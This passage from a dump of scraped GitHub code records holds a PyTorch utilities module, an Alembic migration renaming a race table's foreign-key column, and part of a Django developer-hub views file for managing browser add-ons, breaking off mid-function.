"call"}, {"api_name": "pandas.json_normalize", "line_number": 13, "usage_type": "call"}, {"api_name": "streamlit.title", "line_number": 31, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 33, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 34, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 35, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 36, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 37, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 39, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 42, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 42, "usage_type": "call"}, {"api_name": "streamlit.multiselect", "line_number": 47, "usage_type": "call"}, {"api_name": "streamlit.dataframe", "line_number": 54, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 57, "usage_type": "call"}, {"api_name": "streamlit.text_input", "line_number": 61, "usage_type": "call"}, {"api_name": "streamlit.error", "line_number": 64, "usage_type": "call"}, {"api_name": "streamlit.dataframe", "line_number": 67, "usage_type": "call"}, {"api_name": "urllib.error.URLError", "line_number": 69, "usage_type": "name"}, {"api_name": "streamlit.error", "line_number": 70, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 72, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 73, "usage_type": "call"}, {"api_name": "snowflake.connector.connector.connect", "line_number": 74, "usage_type": "call"}, {"api_name": "snowflake.connector.connector", "line_number": 74, "usage_type": "attribute"}, {"api_name": "snowflake.connector", "line_number": 74, "usage_type": "name"}, {"api_name": "streamlit.secrets", "line_number": 74, "usage_type": "attribute"}, {"api_name": "streamlit.dataframe", "line_number": 77, "usage_type": "call"}, {"api_name": "streamlit.text_input", "line_number": 79, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 80, "usage_type": "call"}, {"api_name": "snowflake.connector.connector.connect", "line_number": 82, "usage_type": "call"}, {"api_name": "snowflake.connector.connector", "line_number": 82, "usage_type": "attribute"}, {"api_name": "snowflake.connector", "line_number": 82, "usage_type": "name"}, {"api_name": "streamlit.secrets", "line_number": 82, "usage_type": "attribute"}, {"api_name": "streamlit.text", "line_number": 84, "usage_type": "call"}, {"api_name": "streamlit.error", "line_number": 86, "usage_type": "call"}]}
{"seq_id": "24741478556", "text": "import torch\nfrom packaging import version\nimport numpy as np\nimport os\nimport torch.distributed as dist\n\nif version.Version(torch.__version__) >= version.Version('1.0.0'):\n  from torch import _softmax_backward_data as _softmax_backward_data\nelse:\n  from torch import softmax_backward_data as _softmax_backward_data\n\n\n\nclass XSoftmax(torch.autograd.Function):\n  \"\"\" Masked Softmax which is optimized for saving memory\n  Args:\n      \n    input (:obj:`torch.tensor`): The input tensor that will apply softmax.\n    mask (:obj:`torch.IntTensor`): The mask matrix where 0 indicate that element will be ignored in the softmax caculation.\n    dim (int): The dimenssion that will apply softmax.\n    \n  Example::\n    import torch\n    from DeBERTa.deberta import XSoftmax\n    # Make a tensor\n    x = torch.randn([4,20,100])\n    # Create a mask\n    mask = (x>0).int()\n    y = XSoftmax.apply(x, mask, dim=-1)\n      \n  \"\"\"\n\n  @staticmethod\n  def forward(self, input, mask, dim):\n    \"\"\"\n    \"\"\"\n\n    self.dim = dim\n    if version.Version(torch.__version__) >= version.Version('1.2.0a'):\n      rmask = ~(mask.bool())\n    else:\n      rmask = (1-mask).byte() # This line is not supported by Onnx tracing.\n\n    output = input.masked_fill(rmask, float('-inf'))\n    output = torch.softmax(output, self.dim)\n    output.masked_fill_(rmask, 0)\n    self.save_for_backward(output)\n    return output\n\n  @staticmethod\n  def backward(self, grad_output):\n    \"\"\"\n    \"\"\"\n\n    output, = self.saved_tensors\n    inputGrad = _softmax_backward_data(grad_output, output, self.dim, output)\n    return inputGrad, None, None\n\n\n\ndef build_relative_position(query_size, key_size, bucket_size=-1, max_position=-1):\n  q_ids = np.arange(0, query_size)\n  k_ids = np.arange(0, key_size)\n  rel_pos_ids = q_ids[:, None] - np.tile(k_ids, (q_ids.shape[0],1))\n  if bucket_size>0 and max_position > 0:\n    rel_pos_ids = make_log_bucket_position(rel_pos_ids, bucket_size, max_position)\n  rel_pos_ids = torch.tensor(rel_pos_ids, dtype=torch.long)\n  rel_pos_ids = rel_pos_ids[:query_size, :]\n  rel_pos_ids = rel_pos_ids.unsqueeze(0)\n  return rel_pos_ids\n\ndef make_log_bucket_position(relative_pos, bucket_size, max_position):\n  sign = np.sign(relative_pos)\n  mid = bucket_size//2\n  abs_pos = np.where((relative_pos -mid), mid-1, np.abs(relative_pos))\n  log_pos = np.ceil(np.log(abs_pos/mid)/np.log((max_position-1)/mid) * (mid-1)) + mid\n  bucket_pos = np.where(abs_pos<=mid, relative_pos, log_pos*sign).astype(np.int)\n  return bucket_pos\n\n\n\nclass AverageMeter(object):\n    \"\"\"Computes and stores the average and current value\"\"\"\n    def __init__(self, name, fmt=':f'):\n        self.name = name\n        self.fmt = fmt\n        self.reset()\n\n    def reset(self):\n        self.val = 0\n        self.avg = 0\n        self.sum = 0\n        self.count = 0\n\n    def update(self, val, n=1):\n        self.val = val\n        self.sum += val * n\n        self.count += n\n        self.avg = self.sum / self.count\n\n    def __str__(self):\n        fmtstr = '{name} {val' + self.fmt + '} ({avg' + self.fmt + '})'\n        return fmtstr.format(**self.__dict__)\n\n\ndef accuracy(output, target, topk=(1,)):\n    \"\"\"Computes the accuracy over the k top predictions for the specified values of k\"\"\"\n    with torch.no_grad():\n        maxk = max(topk)\n        batch_size = target.size(0)\n\n        _, pred = output.topk(maxk, 1, True, True)\n        pred = pred.t()\n        correct = pred.eq(target.view(1, -1).expand_as(pred))\n\n        res = []\n        for k in topk:\n            correct_k = correct[:k].reshape(-1).float().sum(0, keepdim=True)\n            res.append(correct_k.mul_(100.0 / batch_size))\n        return res\n    \n    \n\ndef init_distributed_mode(args):\n    \n    print('Setting up distributed mode...')\n    args.num_gpu = 1\n    args.device = 'cuda:%d' % args.local_rank\n    torch.cuda.set_device(args.local_rank)\n    torch.distributed.init_process_group(backend='nccl', init_method='env://')\n    args.world_size = torch.distributed.get_world_size()\n    args.rank = torch.distributed.get_rank()\n    print('Distributed mode set...')\n    \n\ndef setup_for_distributed(is_master):\n    \"\"\"\n    This function disables printing when not in master process\n    \"\"\"\n    import builtins as __builtin__\n    builtin_print = __builtin__.print\n\n    def print(*args, **kwargs):\n        force = kwargs.pop('force', False)\n        if is_master or force:\n            builtin_print(*args, **kwargs)\n\n    __builtin__.print = print\n    \n    \n    \ndef is_dist_avail_and_initialized():\n    if not dist.is_available():\n        return False\n    if not dist.is_initialized():\n        return False\n    return True\n\n\ndef get_world_size():\n    if not is_dist_avail_and_initialized():\n        return 1\n    return dist.get_world_size()\n\n\ndef get_rank():\n    if not is_dist_avail_and_initialized():\n        return 0\n    return dist.get_rank()\n", "repo_name": "dinkofranceschi/ViT", "sub_path": "utils/ops.py", "file_name": "ops.py", "file_ext": "py", "file_size_in_byte": 4858, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "packaging.version.Version", "line_number": 7, "usage_type": "call"}, {"api_name": "packaging.version", "line_number": 7, "usage_type": "name"}, {"api_name": "torch.__version__", "line_number": 7, "usage_type": "attribute"}, {"api_name": "torch.autograd", "line_number": 14, "usage_type": "attribute"}, {"api_name": "packaging.version.Version", "line_number": 39, "usage_type": "call"}, {"api_name": "packaging.version", "line_number": 39, "usage_type": "name"}, {"api_name": "torch.__version__", "line_number": 39, "usage_type": "attribute"}, {"api_name": "torch.softmax", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.softmax_backward_data", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 67, "usage_type": "attribute"}, {"api_name": "numpy.sign", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 77, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 108, "usage_type": "call"}, {"api_name": "torch.cuda.set_device", "line_number": 129, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 129, "usage_type": "attribute"}, {"api_name": "torch.distributed.init_process_group", "line_number": 130, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 130, "usage_type": "attribute"}, {"api_name": "torch.distributed.get_world_size", "line_number": 131, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 131, "usage_type": "attribute"}, {"api_name": "torch.distributed.get_rank", "line_number": 132, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 132, "usage_type": "attribute"}, {"api_name": "builtins.print", "line_number": 141, "usage_type": "attribute"}, {"api_name": "builtins.print", "line_number": 148, "usage_type": "attribute"}, {"api_name": "torch.distributed.is_available", "line_number": 153, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 153, "usage_type": "name"}, {"api_name": "torch.distributed.is_initialized", "line_number": 155, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 155, "usage_type": "name"}, {"api_name": "torch.distributed.get_world_size", "line_number": 163, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 163, "usage_type": "name"}, {"api_name": "torch.distributed.get_rank", "line_number": 169, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 169, "usage_type": "name"}]}
{"seq_id": "26534374319", "text": "\"\"\"empty message\n\nRevision ID: 1f119f1ea852\nRevises: ef4f5d0dce05\nCreate Date: 2022-10-19 09:00:38.826310\n\n\"\"\"\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"1f119f1ea852\"\ndown_revision = \"ef4f5d0dce05\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column(\n        \"race\",\n        sa.Column(\"competition_id\", postgresql.UUID(as_uuid=True), nullable=True),\n    )\n    op.drop_constraint(\"race_competion_id_fkey\", \"race\", type_=\"foreignkey\")\n    op.create_foreign_key(None, \"race\", \"competition\", [\"competition_id\"], [\"id\"])\n    op.drop_column(\"race\", \"competion_id\")\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column(\n        \"race\",\n        sa.Column(\n            \"competion_id\", postgresql.UUID(), autoincrement=False, nullable=True\n        ),\n    )\n    op.drop_constraint(None, \"race\", type_=\"foreignkey\")\n    op.create_foreign_key(\n        \"race_competion_id_fkey\", \"race\", \"competition\", [\"competion_id\"], [\"id\"]\n    )\n    op.drop_column(\"race\", \"competition_id\")\n    # ### end Alembic commands ###\n", "repo_name": "Sailing-Ranking/sailing-ranking-backend", "sub_path": "alembic/versions/1f119f1ea852_.py", "file_name": "1f119f1ea852_.py", "file_ext": "py", "file_size_in_byte": 1291, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "alembic.op.add_column", "line_number": 22, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 22, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.dialects.postgresql.UUID", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.dialects.postgresql", "line_number": 24, "usage_type": "name"}, {"api_name": "alembic.op.drop_constraint", "line_number": 26, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 26, "usage_type": "name"}, {"api_name": "alembic.op.create_foreign_key", "line_number": 27, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 27, "usage_type": "name"}, {"api_name": "alembic.op.drop_column", "line_number": 28, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 28, "usage_type": "name"}, {"api_name": "alembic.op.add_column", "line_number": 34, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 34, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 36, "usage_type": "call"}, {"api_name": "sqlalchemy.dialects.postgresql.UUID", "line_number": 37, "usage_type": "call"}, {"api_name": "sqlalchemy.dialects.postgresql", "line_number": 37, "usage_type": "name"}, {"api_name": "alembic.op.drop_constraint", "line_number": 40, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 40, "usage_type": "name"}, {"api_name": "alembic.op.create_foreign_key", "line_number": 41, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 41, "usage_type": "name"}, {"api_name": "alembic.op.drop_column", "line_number": 44, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 44, "usage_type": "name"}]}
{"seq_id": "35754887412", "text": "import datetime\nimport os\nimport time\nfrom copy import deepcopy\nfrom urllib.parse import quote\nfrom uuid import UUID, uuid4\n\nfrom django import forms as django_forms, http\nfrom django.conf import settings\nfrom django.core.exceptions import PermissionDenied\nfrom django.core.files.storage import default_storage as storage\nfrom django.db import transaction\nfrom django.db.models import Count\nfrom django.http import JsonResponse\nfrom django.shortcuts import get_object_or_404, redirect\nfrom django.template import loader\nfrom django.template.response import TemplateResponse\nfrom django.urls import reverse\nfrom django.utils.translation import gettext, gettext_lazy as _\nfrom django.views.decorators.cache import never_cache\nfrom django.views.decorators.csrf import csrf_exempt\n\nimport waffle\nfrom csp.decorators import csp_update\nfrom django_statsd.clients import statsd\n\nimport olympia.core.logger\nfrom olympia import amo\nfrom olympia.access import acl\nfrom olympia.accounts.decorators import two_factor_auth_required\nfrom olympia.accounts.utils import (\n    redirect_for_login,\n    redirect_for_login_with_2fa_enforced,\n)\nfrom olympia.accounts.views import logout_user\nfrom olympia.activity.models import ActivityLog, CommentLog\nfrom olympia.addons.models import (\n    Addon,\n    AddonReviewerFlags,\n    AddonUser,\n    AddonUserPendingConfirmation,\n)\nfrom olympia.addons.views import BaseFilter\nfrom olympia.amo import messages, utils as amo_utils\nfrom olympia.amo.decorators import json_view, login_required, post_required\nfrom olympia.amo.reverse import get_url_prefix\nfrom olympia.amo.templatetags.jinja_helpers import absolutify, urlparams\nfrom olympia.amo.utils import (\n    MenuItem,\n    StopWatch,\n    escape_all,\n    is_safe_url,\n    send_mail,\n)\nfrom olympia.api.models import APIKey, APIKeyConfirmation\nfrom olympia.devhub.decorators import (\n    dev_required,\n    no_admin_disabled,\n    two_factor_auth_required_if_non_theme,\n)\nfrom olympia.devhub.file_validation_annotations import insert_validation_message\nfrom olympia.devhub.models import BlogPost, RssKey\nfrom olympia.devhub.utils import (\n    extract_theme_properties,\n    wizard_unsupported_properties,\n)\nfrom olympia.files.models import File, FileUpload\nfrom olympia.files.utils import parse_addon\nfrom olympia.reviewers.forms import PublicWhiteboardForm\nfrom olympia.reviewers.models import Whiteboard\nfrom olympia.reviewers.templatetags.code_manager import code_manager_url\nfrom olympia.reviewers.utils import ReviewHelper\nfrom olympia.users.models import DeveloperAgreementRestriction\nfrom olympia.users.utils import (\n    RestrictionChecker,\n    send_addon_author_add_mail,\n    send_addon_author_change_mail,\n    send_addon_author_remove_mail,\n)\nfrom olympia.versions.models import Version\nfrom olympia.versions.utils import get_next_version_number\nfrom olympia.zadmin.models import get_config\n\nfrom . import feeds, forms, signals, tasks\n\n\nlog = olympia.core.logger.getLogger('z.devhub')\n\n\n# We use a session cookie to make sure people see the dev agreement.\n\nMDN_BASE = 'https://developer.mozilla.org/en-US/Add-ons'\n\n\ndef get_fileupload_by_uuid_or_40x(value, *, user):\n    try:\n        UUID(value)\n    except ValueError:\n        raise http.Http404()\n    upload = get_object_or_404(FileUpload, uuid=value)\n    if upload.user != user:\n        raise PermissionDenied\n    return upload\n\n\nclass AddonFilter(BaseFilter):\n    opts = (\n        ('updated', _('Updated')),\n        ('name', _('Name')),\n        ('created', _('Created')),\n        ('popular', _('Downloads')),\n        ('rating', _('Rating')),\n    )\n\n\nclass ThemeFilter(BaseFilter):\n    opts = (\n        ('created', _('Created')),\n        ('name', _('Name')),\n        ('popular', _('Downloads')),\n        ('rating', _('Rating')),\n    )\n\n\ndef addon_listing(request, theme=False):\n    \"\"\"Set up the queryset and filtering for addon listing for Dashboard.\"\"\"\n    if theme:\n        qs = request.user.addons.filter(type=amo.ADDON_STATICTHEME)\n        filter_cls = ThemeFilter\n        default = 'created'\n    else:\n        qs = request.user.addons.exclude(type=amo.ADDON_STATICTHEME)\n        filter_cls = AddonFilter\n        default = 'updated'\n    filter_ = filter_cls(request, qs, 'sort', default)\n    return filter_.qs, filter_\n\n\n@csp_update(\n    CONNECT_SRC=settings.MOZILLA_NEWLETTER_URL,\n    FORM_ACTION=settings.MOZILLA_NEWLETTER_URL,\n)\ndef index(request):\n    ctx = {}\n    if request.user.is_authenticated:\n        recent_addons = request.user.addons.all().order_by('-modified')[:3]\n        ctx['recent_addons'] = recent_addons\n\n    return TemplateResponse(request, 'devhub/index.html', context=ctx)\n\n\n@login_required\ndef dashboard(request, theme=False):\n    addon_items = _get_items(None, request.user.addons.all())[:4]\n\n    data = dict(\n        rss=_get_rss_feed(request),\n        blog_posts=_get_posts(),\n        timestamp=int(time.time()),\n        addon_tab=not theme,\n        theme=theme,\n        addon_items=addon_items,\n    )\n    if data['addon_tab']:\n        addons, data['filter'] = addon_listing(request)\n        data['addons'] = amo_utils.paginate(request, addons, per_page=10)\n\n    if theme:\n        themes, data['filter'] = addon_listing(request, theme=True)\n        data['themes'] = amo_utils.paginate(request, themes, per_page=10)\n\n    if 'filter' in data:\n        data['sorting'] = data['filter'].field\n        data['sort_opts'] = data['filter'].opts\n\n    return TemplateResponse(request, 'devhub/addons/dashboard.html', context=data)\n\n\ndef _get_addons(request, addons, addon_id, action):\n    \"\"\"Create a list of ``MenuItem``s for the activity feed.\"\"\"\n    items = []\n\n    a = MenuItem()\n    a.selected = not addon_id\n    (a.text, a.url) = (gettext('All My Add-ons'), reverse('devhub.feed_all'))\n    if action:\n        a.url += '?action=' + action\n    items.append(a)\n\n    for addon in addons:\n        item = MenuItem()\n        try:\n            item.selected = addon_id and addon.id == int(addon_id)\n        except ValueError:\n            pass  # We won't get here... EVER\n        url = reverse('devhub.feed', args=[addon.slug])\n        if action:\n            url += '?action=' + action\n        item.text, item.url = addon.name, url\n        items.append(item)\n\n    return items\n\n\ndef _get_posts(limit=5):\n    return BlogPost.objects.order_by('-date_posted')[0:limit]\n\n\ndef _get_activities(request, action):\n    url = request.get_full_path()\n    choices = (None, 'updates', 'status', 'collections', 'reviews')\n    text = {\n        None: gettext('All Activity'),\n        'updates': gettext('Add-on Updates'),\n        'status': gettext('Add-on Status'),\n        'collections': gettext('User Collections'),\n        'reviews': gettext('User Reviews'),\n    }\n\n    items = []\n    for c in choices:\n        i = MenuItem()\n        i.text = text[c]\n        i.url, i.selected = urlparams(url, page=None, action=c), (action == c)\n        items.append(i)\n\n    return items\n\n\ndef _get_items(action, addons):\n    if not isinstance(addons, (list, tuple)):\n        # MySQL 8.0.21 (and maybe higher) doesn't optimize the join with\n        # double # subquery the ActivityLog.objects.for_addons(addons) below\n        # would generate if addons is not transformed into a list first. Since\n        # some people have a lot of add-ons, we only take the last 100.\n        addons = list(\n            addons.all().order_by('-modified').values_list('pk', flat=True)[:100]\n        )\n\n    filters = {\n        'updates': (amo.LOG.ADD_VERSION, amo.LOG.ADD_FILE_TO_VERSION),\n        'status': (\n            amo.LOG.USER_DISABLE,\n            amo.LOG.USER_ENABLE,\n            amo.LOG.CHANGE_STATUS,\n            amo.LOG.APPROVE_VERSION,\n        ),\n        'collections': (\n            amo.LOG.ADD_TO_COLLECTION,\n            amo.LOG.REMOVE_FROM_COLLECTION,\n        ),\n        'reviews': (amo.LOG.ADD_RATING,),\n    }\n\n    filter_ = filters.get(action)\n    items = (\n        ActivityLog.objects.for_addons(addons)\n        .exclude(action__in=amo.LOG_HIDE_DEVELOPER)\n        .transform(ActivityLog.transformer_anonymize_user_for_developer)\n    )\n    if filter_:\n        items = items.filter(action__in=[i.id for i in filter_])\n\n    return items\n\n\ndef _get_rss_feed(request):\n    key, _ = RssKey.objects.get_or_create(user=request.user)\n    return urlparams(reverse('devhub.feed_all'), privaterss=key.key.hex)\n\n\ndef feed(request, addon_id=None):\n    if request.GET.get('privaterss'):\n        return feeds.ActivityFeedRSS()(request)\n\n    addon_selected = None\n\n    if not request.user.is_authenticated:\n        return redirect_for_login(request)\n    else:\n        addons_all = request.user.addons.all()\n\n        if addon_id:\n            addon = get_object_or_404(Addon.objects.id_or_slug(addon_id))\n            try:\n                key = RssKey.objects.get(addon=addon)\n            except RssKey.DoesNotExist:\n                key = RssKey.objects.create(addon=addon)\n\n            addon_selected = addon.id\n\n            rssurl = urlparams(\n                reverse('devhub.feed', args=[addon_id]), privaterss=key.key.hex\n            )\n\n            if not acl.check_addon_ownership(\n                request.user,\n                addon,\n                allow_developer=True,\n                allow_mozilla_disabled_addon=True,\n            ):\n                raise PermissionDenied\n            addons = [addon]\n        else:\n            rssurl = _get_rss_feed(request)\n            addon = None\n            addons = addons_all\n\n    action = request.GET.get('action')\n\n    items = _get_items(action, addons)\n\n    activities = _get_activities(request, action)\n    addon_items = _get_addons(request, addons_all, addon_selected, action)\n\n    pager = amo_utils.paginate(request, items, 20)\n    data = {\n        'addons': addon_items,\n        'pager': pager,\n        'activities': activities,\n        'rss': rssurl,\n        'addon': addon,\n    }\n    return TemplateResponse(request, 'devhub/addons/activity.html', context=data)\n\n\n@dev_required\ndef edit(request, addon_id, addon):\n    try:\n        whiteboard = Whiteboard.objects.get(pk=addon.pk)\n    except Whiteboard.DoesNotExist:\n        whiteboard = Whiteboard(pk=addon.pk)\n\n    previews = (\n        addon.current_version.previews.all()\n        if addon.current_version and addon.has_per_version_previews\n        else addon.previews.all()\n    )\n    header_preview = (\n        previews.first()\n        if addon.type == amo.ADDON_STATICTHEME and addon.status != amo.STATUS_DISABLED\n        else None\n    )\n    data = {\n        'page': 'edit',\n        'addon': addon,\n        'whiteboard': whiteboard,\n        'editable': False,\n        'show_listed_fields': addon.has_listed_versions(),\n        'valid_slug': addon.slug,\n        'tags': addon.tags.values_list('tag_text', flat=True),\n        'previews': previews,\n        'header_preview': header_preview,\n        'supported_image_types': amo.SUPPORTED_IMAGE_TYPES,\n    }\n\n    return TemplateResponse(request, 'devhub/addons/edit.html', context=data)\n\n\n@dev_required(owner_for_post=True)\n@post_required\ndef delete(request, addon_id, addon):\n    # Database deletes only allowed for free or incomplete addons.\n    if not addon.can_be_deleted():\n        msg = gettext('Add-on cannot be deleted. Disable this add-on instead.')\n        messages.error(request, msg)\n        return redirect(addon.get_dev_url('versions'))\n\n    any_theme = addon.type == amo.ADDON_STATICTHEME\n    form = forms.DeleteForm(request.POST, addon=addon)\n    if form.is_valid():\n        reason = form.cleaned_data.get('reason', '')\n        addon.delete(msg='Removed via devhub', reason=reason)\n        messages.success(\n            request,\n            gettext('Theme deleted.') if any_theme else gettext('Add-on deleted.'),\n        )\n        return redirect('devhub.%s' % ('themes' if any_theme else 'addons'))\n    else:\n        messages.error(\n            request,\n            gettext('URL name was incorrect. Theme was not deleted.')\n            if any_theme\n            else gettext('URL name was incorrect. Add-on was not deleted.'),\n        )\n        return redirect(addon.get_dev_url('versions'))\n\n\n@dev_required\n@post_required\ndef enable(request, addon_id, addon):\n    addon.update(disabled_by_user=False)\n    ActivityLog.objects.create(amo.LOG.USER_ENABLE, addon)\n    return redirect(addon.get_dev_url('versions'))\n\n\n@dev_required(owner_for_post=True)\n@post_required\ndef cancel(request, addon_id, addon, channel):\n    channel = amo.CHANNEL_CHOICES_LOOKUP[channel]\n    latest_version = addon.find_latest_version(channel=channel)\n    if latest_version:\n        if latest_version.file.status == amo.STATUS_AWAITING_REVIEW:\n            latest_version.file.update(status=amo.STATUS_DISABLED)\n        addon.update_status()\n    return redirect(addon.get_dev_url('versions'))\n\n\n@dev_required\n@post_required\ndef disable(request, addon_id, addon):\n    addon.update(disabled_by_user=True)\n    ActivityLog.objects.create(amo.LOG.USER_DISABLE, addon)\n    return redirect(addon.get_dev_url('versions'))\n\n\n# Can't use @dev_required, as the user is not a developer yet. Can't use\n# @addon_view_factory either, because it requires a developer for unlisted\n# add-ons. So we just @login_required and retrieve the addon ourselves in the\n# function.\n@login_required\ndef invitation(request, addon_id):\n    addon = get_object_or_404(Addon.objects.id_or_slug(addon_id))\n    try:\n        invitation = AddonUserPendingConfirmation.objects.get(\n            addon=addon, user=request.user\n        )\n    except AddonUserPendingConfirmation.DoesNotExist:\n        # To be nice in case the user accidentally visited this page after\n        # having accepted an invite, redirect to the add-on base edit page.\n        # If they are an author, they will have access, otherwise will get the\n        # appropriate error.\n        return redirect(addon.get_dev_url())\n    if request.method == 'POST':\n        value = request.POST.get('accept')\n        if value == 'yes':\n            # There is a potential race condition on the position, but it's\n            # difficult to find a sensible value anyway. Should a position\n            # conflict happen, owners can easily fix it themselves.\n            last_position = (\n                AddonUser.objects.filter(addon=invitation.addon)\n                .order_by('position')\n                .values_list('position', flat=True)\n                .last()\n                or 0\n            )\n            AddonUser.unfiltered.update_or_create(\n                addon=invitation.addon,\n                user=invitation.user,\n                defaults={\n                    'role': invitation.role,\n                    'listed': invitation.listed,\n                    'position': last_position + 1,\n                },\n            )\n            messages.success(request, gettext('Invitation accepted.'))\n            redirect_url = addon.get_dev_url()\n        else:\n            messages.success(request, gettext('Invitation declined.'))\n            redirect_url = reverse('devhub.addons')\n        # Regardless of whether or not the invitation was accepted or not,\n        # it's now obsolete.\n        invitation.delete()\n        return redirect(redirect_url)\n    ctx = {\n        'addon': addon,\n        'invitation': invitation,\n    }\n    return TemplateResponse(request, 'devhub/addons/invitation.html', context=ctx)\n\n\n@dev_required(owner_for_post=True)\ndef ownership(request, addon_id, addon):\n    fs = []\n    ctx = {\n        'addon': addon,\n        # Override editable_body_class, because this page is not editable by\n        # regular developers, but can be edited by owners even if it's a site\n        # permission add-on.\n        'editable_body_class': 'no-edit'\n        if not acl.check_addon_ownership(request.user, addon)\n        else '',\n    }\n    post_data = request.POST if request.method == 'POST' else None\n    # Authors.\n    user_form = forms.AuthorFormSet(\n        post_data,\n        prefix='user_form',\n        queryset=AddonUser.objects.filter(addon=addon).order_by('position'),\n        form_kwargs={'addon': addon},\n    )\n    fs.append(user_form)\n    ctx['user_form'] = user_form\n    # Authors pending confirmation (owner can still remove them before they\n    # accept).\n    authors_pending_confirmation_form = forms.AuthorWaitingConfirmationFormSet(\n        post_data,\n        prefix='authors_pending_confirmation',\n        queryset=AddonUserPendingConfirmation.objects.filter(addon=addon).order_by(\n            'id'\n        ),\n        form_kwargs={'addon': addon},\n    )\n    fs.append(authors_pending_confirmation_form)\n    ctx['authors_pending_confirmation_form'] = authors_pending_confirmation_form\n    # Versions.\n    license_form = forms.LicenseForm(post_data, version=addon.current_version)\n    ctx.update(license_form.get_context())\n    if ctx['license_form']:  # if addon has a version\n        fs.append(ctx['license_form'])\n    # Policy.\n    if addon.type != amo.ADDON_STATICTHEME:\n        policy_form = forms.PolicyForm(post_data, addon=addon)\n        ctx['policy_form'] = policy_form\n        fs.append(policy_form)\n    else:\n        policy_form = None\n\n    def process_author_changes(source_form, existing_authors_emails):\n        addon_users_to_process = source_form.save(commit=False)\n        for addon_user in addon_users_to_process:\n            addon_user.addon = addon\n            if not addon_user.pk:\n                send_addon_author_add_mail(addon_user, existing_authors_emails)\n                messages.success(\n                    request,\n                    gettext('A confirmation email has been sent to {email}').format(\n                        email=addon_user.user.email\n                    ),\n                )\n            elif addon_user.role != addon_user._initial_attrs.get('role'):\n                send_addon_author_change_mail(addon_user, existing_authors_emails)\n            addon_user.save()\n        for addon_user in source_form.deleted_objects:\n            send_addon_author_remove_mail(addon_user, existing_authors_emails)\n            addon_user.delete()\n\n    if request.method == 'POST' and all([form.is_valid() for form in fs]):\n        if license_form in fs:\n            license_form.save()\n        if policy_form and policy_form in fs:\n            policy_form.save()\n        messages.success(request, gettext('Changes successfully saved.'))\n\n        existing_authors_emails = list(addon.authors.values_list('email', flat=True))\n\n        process_author_changes(\n            authors_pending_confirmation_form, existing_authors_emails\n        )\n        process_author_changes(user_form, existing_authors_emails)\n\n        return redirect(addon.get_dev_url('owner'))\n\n    return TemplateResponse(request, 'devhub/addons/owner.html', context=ctx)\n\n\n@login_required\ndef validate_addon(request):\n    return TemplateResponse(\n        request,\n        'devhub/validate_addon.html',\n        context={\n            'title': gettext('Validate Add-on'),\n            'new_addon_form': forms.DistributionChoiceForm(),\n        },\n    )\n\n\ndef handle_upload(\n    *,\n    filedata,\n    request,\n    channel,\n    addon=None,\n    is_standalone=False,\n    submit=False,\n    source=amo.UPLOAD_SOURCE_DEVHUB,\n    theme_specific=False,\n):\n    upload = FileUpload.from_post(\n        filedata,\n        filename=filedata.name,\n        size=filedata.size,\n        addon=addon,\n        channel=channel,\n        source=source,\n        user=request.user,\n    )\n    if submit:\n        tasks.validate_and_submit(addon, upload, theme_specific=theme_specific)\n    else:\n        tasks.validate(upload, theme_specific=theme_specific)\n    return upload\n\n\n@login_required\n@post_required\ndef upload(request, channel='listed', addon=None, is_standalone=False):\n    channel_as_text = channel\n    channel = amo.CHANNEL_CHOICES_LOOKUP[channel]\n    filedata = request.FILES['upload']\n    theme_specific = 